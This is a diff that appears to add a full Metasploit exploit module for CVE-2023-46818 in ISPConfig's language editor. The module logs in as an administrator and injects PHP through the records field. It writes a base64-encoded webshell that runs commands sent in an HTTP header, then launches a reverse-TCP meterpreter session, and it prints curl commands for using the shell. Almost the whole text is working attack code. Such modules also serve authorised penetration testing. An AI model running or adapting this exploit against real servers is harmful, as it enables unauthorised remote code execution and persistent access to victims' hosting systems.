1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ class MetasploitModule < Msf ::Exploit ::Remote
7
+ Rank = ExcellentRanking
8
+
9
+ prepend Msf ::Exploit ::Remote ::AutoCheck
10
+ include Msf ::Exploit ::Remote ::HttpClient
11
+ include Msf ::Exploit ::FileDropper
12
+
13
+ def initialize ( info = { } )
14
+ super (
15
+ update_info (
16
+ info ,
17
+ 'Name' => 'ISPConfig language_edit.php PHP Code Injection' ,
18
+ 'Description' => %q{
19
+ An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
20
+ } ,
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [
23
+ 'syfi' # Discovery and PoC
24
+ ] ,
25
+ 'References' => [
26
+ [ 'CVE' , '2023-46818' ] ,
27
+ [ 'URL' , 'https://github.com/SyFi/CVE-2023-46818' ] ,
28
+ [ 'URL' , 'https://karmainsecurity.com/KIS-2023-13' ] ,
29
+ [ 'URL' , 'https://karmainsecurity.com/pocs/CVE-2023-46818.php' ]
30
+ ] ,
31
+ 'Platform' => 'php' ,
32
+ 'Arch' => ARCH_PHP ,
33
+ 'Targets' => [
34
+ [
35
+ 'Automatic PHP' ,
36
+ {
37
+ 'Platform' => 'php' ,
38
+ 'Arch' => ARCH_PHP
39
+ }
40
+ ]
41
+ ] ,
42
+ 'Privileged' => false ,
43
+ 'DisclosureDate' => '2023-10-24' ,
44
+ 'DefaultTarget' => 0 ,
45
+ 'DefaultOptions' => {
46
+ 'PAYLOAD' => 'php/meterpreter/reverse_tcp'
47
+ } ,
48
+ 'Notes' => {
49
+ 'Stability' => [ CRASH_SAFE ] ,
50
+ 'Reliability' => [ REPEATABLE_SESSION ] ,
51
+ 'SideEffects' => [ IOC_IN_LOGS ]
52
+ }
53
+ )
54
+ )
55
+
56
+ register_options ( [
57
+ OptString . new ( 'TARGETURI' , [ true , 'The URI path to ISPConfig' , '/' ] ) ,
58
+ OptString . new ( 'USERNAME' , [ true , 'ISPConfig administrator username' ] ) ,
59
+ OptString . new ( 'PASSWORD' , [ true , 'ISPConfig administrator password' ] )
60
+ ] )
61
+
62
+ register_advanced_options ( [
63
+ OptInt . new ( 'LOGIN_TIMEOUT' , [ true , 'Timeout for login request' , 15 ] ) ,
64
+ OptBool . new ( 'DELETE_SHELL' , [ true , 'Delete webshell after session' , true ] )
65
+ ] )
66
+ end
67
+
68
+ def check
69
+ print_status ( 'Checking if target is ISPConfig...' )
70
+ res = send_request_cgi ( {
71
+ 'method' => 'GET' ,
72
+ 'uri' => normalize_uri ( target_uri . path , 'login' , '' )
73
+ } )
74
+ return CheckCode ::Unknown unless res
75
+ if res . body . include? ( 'ISPConfig' ) || res . body . include? ( 'ispconfig' )
76
+ print_good ( 'ISPConfig installation detected' )
77
+ return CheckCode ::Detected
78
+ end
79
+ CheckCode ::Safe
80
+ end
81
+
82
+ def authenticate
83
+ print_status ( "Attempting login with username '#{ datastore [ 'USERNAME' ] } ' and password '#{ datastore [ 'PASSWORD' ] } '" )
84
+ res = send_request_cgi ( {
85
+ 'method' => 'POST' ,
86
+ 'uri' => normalize_uri ( target_uri . path , 'login' , '' ) ,
87
+ 'vars_post' => {
88
+ 'username' => datastore [ 'USERNAME' ] ,
89
+ 'password' => datastore [ 'PASSWORD' ] ,
90
+ 's_mod' => 'login'
91
+ } ,
92
+ 'keep_cookies' => true
93
+ } , datastore [ 'LOGIN_TIMEOUT' ] )
94
+ fail_with ( Failure ::NoAccess , 'Login request failed' ) unless res
95
+ if res . body . match ( /Username or Password wrong/i )
96
+ fail_with ( Failure ::NoAccess , 'Login failed: Invalid credentials' )
97
+ end
98
+ if res . headers [ 'Location' ] && res . headers [ 'Location' ] . include? ( 'admin' ) ||
99
+ res . body . downcase . include? ( 'dashboard' )
100
+ print_good ( 'Login successful!' )
101
+ return true
102
+ end
103
+ print_warning ( 'Login status unclear, attempting to continue...' )
104
+ true
105
+ end
106
+
107
+ def generate_random_string ( length = 10 )
108
+ charset = ( 'a' ..'z' ) . to_a
109
+ Array . new ( length ) { charset . sample } . join
110
+ end
111
+
112
+ def generate_shell_code
113
+ print_status ( 'Generating PHP payload...' )
114
+ php_payload = payload . encoded
115
+ php_shell = %Q{<?php\n print('____SHELL_START____');\n if(isset($_SERVER['HTTP_CMD'])) {\n $cmd = base64_decode($_SERVER['HTTP_CMD']);\n if($cmd == 'PAYLOAD_TRIGGER') {\n #{ php_payload } \n } elseif($cmd) {\n passthru($cmd);\n }\n } else {\n #{ php_payload } \n }\n print('____SHELL_END____');\n ?>}
116
+ Rex ::Text . encode_base64 ( php_shell )
117
+ end
118
+
119
+ def inject_shell
120
+ print_status ( 'Injecting PHP shell...' )
121
+ @shell_file = "sh_#{ generate_random_string } .php"
122
+ php_code = generate_shell_code
123
+ injection = "'];file_put_contents('#{ @shell_file } ',base64_decode('#{ php_code } '));die;#"
124
+ lang_file = generate_random_string + ".lng"
125
+ edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
126
+ initial_data = {
127
+ 'lang' => 'en' ,
128
+ 'module' => 'help' ,
129
+ 'lang_file' => lang_file
130
+ }
131
+ res = send_request_cgi ( {
132
+ 'method' => 'POST' ,
133
+ 'uri' => edit_url ,
134
+ 'vars_post' => initial_data ,
135
+ 'keep_cookies' => true
136
+ } , 10 )
137
+ fail_with ( Failure ::UnexpectedReply , 'Unable to access language_edit.php' ) unless res
138
+ csrf_id_match = res . body . match ( /_csrf_id" value="([^"]+)"/ )
139
+ csrf_key_match = res . body . match ( /_csrf_key" value="([^"]+)"/ )
140
+ unless csrf_id_match && csrf_key_match
141
+ fail_with ( Failure ::UnexpectedReply , 'CSRF tokens not found!' )
142
+ end
143
+ csrf_id = csrf_id_match [ 1 ]
144
+ csrf_key = csrf_key_match [ 1 ]
145
+ print_good ( "CSRF tokens extracted: ID=#{ csrf_id [ 0 ..10 ] } ..., KEY=#{ csrf_key [ 0 ..10 ] } ..." )
146
+ injection_data = {
147
+ 'lang' => 'en' ,
148
+ 'module' => 'help' ,
149
+ 'lang_file' => lang_file ,
150
+ '_csrf_id' => csrf_id ,
151
+ '_csrf_key' => csrf_key ,
152
+ 'records[\\]' => injection
153
+ }
154
+ res = send_request_cgi ( {
155
+ 'method' => 'POST' ,
156
+ 'uri' => edit_url ,
157
+ 'vars_post' => injection_data ,
158
+ 'keep_cookies' => true
159
+ } , 10 )
160
+ fail_with ( Failure ::UnexpectedReply , 'Injection request failed' ) unless res
161
+ shell_url = normalize_uri ( target_uri . path , 'admin' , @shell_file )
162
+ print_status ( 'Verifying shell injection...' )
163
+ res = send_request_cgi ( {
164
+ 'method' => 'GET' ,
165
+ 'uri' => shell_url ,
166
+ 'keep_cookies' => true
167
+ } , 5 )
168
+ if res && res . body . include? ( 'SHELL_START' ) && res . body . include? ( 'SHELL_END' )
169
+ print_good ( "Shell successfully injected: #{ @shell_file } " )
170
+ register_file_for_cleanup ( @shell_file ) if datastore [ 'DELETE_SHELL' ]
171
+ return shell_url
172
+ else
173
+ fail_with ( Failure ::UnexpectedReply , 'Shell injection failed or shell not accessible' )
174
+ end
175
+ end
176
+
177
+ def execute_command ( command , shell_uri = nil )
178
+ return nil unless @shell_file
179
+ shell_url = shell_uri || normalize_uri ( target_uri . path , 'admin' , @shell_file )
180
+ encoded_cmd = Rex ::Text . encode_base64 ( command )
181
+ res = send_request_cgi ( {
182
+ 'method' => 'GET' ,
183
+ 'uri' => shell_url ,
184
+ 'headers' => {
185
+ 'CMD' => encoded_cmd
186
+ } ,
187
+ 'keep_cookies' => true
188
+ } , 15 )
189
+ return nil unless res
190
+ output_match = res . body . match ( /____SHELL_START____(.*?)____SHELL_END____/m )
191
+ return output_match [ 1 ] if output_match
192
+ nil
193
+ end
194
+
195
+ def trigger_payload ( shell_uri )
196
+ print_status ( 'Triggering PHP payload...' )
197
+ framework . threads . spawn ( 'PayloadTrigger' , false ) do
198
+ send_request_cgi ( {
199
+ 'method' => 'GET' ,
200
+ 'uri' => shell_uri ,
201
+ 'keep_cookies' => true
202
+ } , 10 )
203
+ end
204
+ framework . threads . spawn ( 'PayloadTriggerManual' , false ) do
205
+ select ( nil , nil , nil , 2 )
206
+ execute_command ( 'PAYLOAD_TRIGGER' , shell_uri )
207
+ end
208
+ print_good ( 'PHP payload triggered' )
209
+ end
210
+
211
+ def exploit
212
+ authenticate
213
+ shell_uri = inject_shell
214
+ print_status ( 'Starting payload handler...' )
215
+ trigger_payload ( shell_uri )
216
+ print_status ( 'Waiting for session...' )
217
+ select ( nil , nil , nil , 5 )
218
+ if framework . sessions . length == 0
219
+ print_warning ( 'No session established automatically' )
220
+ print_status ( 'Testing shell functionality...' )
221
+ output = execute_command ( 'id' , shell_uri )
222
+ if output
223
+ print_good ( "Shell responsive: #{ output . strip } " )
224
+ print_line ( "\n " + '=' * 60 )
225
+ print_status ( 'Shell Access Information:' )
226
+ print_line ( "URL: #{ full_uri } #{ shell_uri } " )
227
+ print_line ( "Usage: Send base64 encoded commands via 'CMD' HTTP header" )
228
+ print_line ( "Manual trigger: curl '#{ full_uri } #{ shell_uri } '" )
229
+ print_line ( "Command example: curl -H 'CMD: #{ Rex ::Text . encode_base64 ( 'id' ) } ' '#{ full_uri } #{ shell_uri } '" )
230
+ print_line ( '=' * 60 )
231
+ else
232
+ print_error ( 'Shell test failed' )
233
+ print_line ( "Manual test: curl '#{ full_uri } #{ shell_uri } '" )
234
+ end
235
+ end
236
+ end
237
+ end
0 commit comments